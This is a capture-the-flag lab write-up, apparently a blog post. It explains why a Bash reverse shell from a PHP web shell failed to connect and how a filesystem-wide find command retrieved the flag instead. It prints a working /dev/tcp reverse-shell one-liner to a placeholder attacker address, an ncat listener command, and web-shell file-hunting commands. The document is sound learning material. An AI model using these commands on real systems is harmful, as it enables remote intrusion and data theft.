I ran into a classic CTF problem while working through a NahamSec HackingHub web lab: I had working command execution through a web shell, but my reverse shell refused to connect back to my machine.
The funny part was I didn’t actually need the reverse shell at all.
The setup
The target exposed a PHP endpoint that allowed me to execute commands through a cmd parameter. Once I confirmed command execution worked, I tried to upgrade the web shell to a proper interactive Bash reverse shell.
My listener was running Ncat on Windows:
ncat -lvnp 4444
Ncat confirmed:
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
So the listener itself was working.
I then attempted a Bash reverse shell along the lines of:
bash -c 'exec bash -i >&/dev/tcp/ATTACKER_IP/4444 <&1'
The request reached the target, but nothing appeared in Ncat.
Why didn’t the reverse shell catch?
There were two important issues to consider.
1. My public IP was not necessarily reachable
I was using my public IP as the callback address:
ATTACKER_IP:4444
That’s very different from saying that the CTF server can actually reach my Ncat listener.
The network path looked roughly like this:
CTF target
|
| Internet
v
Public IP
|
| NAT / firewall / possibly CGNAT
v
Windows host
|
v
Ncat listening on port 4444
Ncat listening on port 4444 only proves that Windows is accepting connections locally. It does not prove that an arbitrary server on the Internet can reach that port.
A home router may block the connection unless port forwarding is configured. An ISP may also use CGNAT, which can prevent traditional inbound port forwarding entirely. Windows Firewall can introduce another layer of filtering.
So the reverse shell was dependent on an entirely new inbound network path that I hadn’t established.
2. URL encoding mattered
There was also a potential problem with the way the Bash command was embedded in the URL.
The reverse shell contains shell metacharacters such as:
>
&
<
Characters such as & have special meaning in URLs because they separate query-string parameters.
So a command like:
bash -c 'exec bash -i >&/dev/tcp/ATTACKER_IP/4444 <&1'
should be properly URL-encoded when passed as a query parameter.
For example, the relevant shell operators should become encoded equivalents such as:
> → %3E
& → %26
< → %3C
Otherwise, the application may not receive the command exactly as intended.
The better approach
At that point I stopped trying to force the reverse shell and went back to the capability I already had: command execution.
The goal was simply to locate flag.txt anywhere on the filesystem and print it.
This did the job:
find / -type f -name 'flag.txt' -exec cat {} \; 2>/dev/null
And there was the flag.
No reverse shell required.
Why this worked better
The key distinction is the communication path.
The web shell already gave me:
My browser
|
| HTTP request
v
CTF server
|
v
Command execution
That communication channel was already working.
The reverse shell introduced a second connection:
CTF server
|
| New outbound connection
v
Internet
|
v
My public IP
|
| NAT / firewall / routing
v
My machine
|
v
Ncat
Every additional hop is another opportunity for something to go wrong.
The find command avoided all of that. It executed entirely on the target and returned the result through the existing web-shell connection.
The lesson
A reverse shell is useful, but it isn’t automatically the better option.
If you already have reliable command execution, use it.
For simple objectives such as finding flags, enumerating directories, reading configuration files, checking permissions, or identifying interesting processes, a web shell may be more than enough.
A useful CTF rule of thumb is:
Don’t upgrade your shell just because you can. Upgrade it when your current shell becomes the limitation.
Reverse shells are great when you need a more interactive environment, but they introduce networking, firewall, NAT, routing, encoding, and shell-compatibility problems that don’t exist when you simply execute the command through the channel you already control.
In this case, I spent time trying to make the reverse shell work when the target had already handed me the answer.
Sometimes the most effective exploitation technique is the least complicated one.
Useful command
For future CTF labs, if you know the flag is named flag.txt:
find / -type f -name 'flag.txt' -exec cat {} \; 2>/dev/null
The 2>/dev/null suppresses the wall of permission-denied errors that would otherwise accompany a filesystem-wide search.
If the flag might have a different filename, broaden the search:
find / -type f \( -iname '*flag*' -o -iname '*user.txt' -o -iname '*root.txt' \) -exec sh -c 'echo "=== $1 ==="; cat "$1"' _ {} \; 2>/dev/null
Takeaway
The failed reverse shell wasn’t necessarily evidence that the Bash payload itself was broken.
It was a reminder that exploitation is more than getting code execution. You also need to understand the network path, the environment, the shell, and the way your payload is being transported.
And when you already have a working command-execution primitive, don’t create a harder problem for yourself.
Use the access you already have.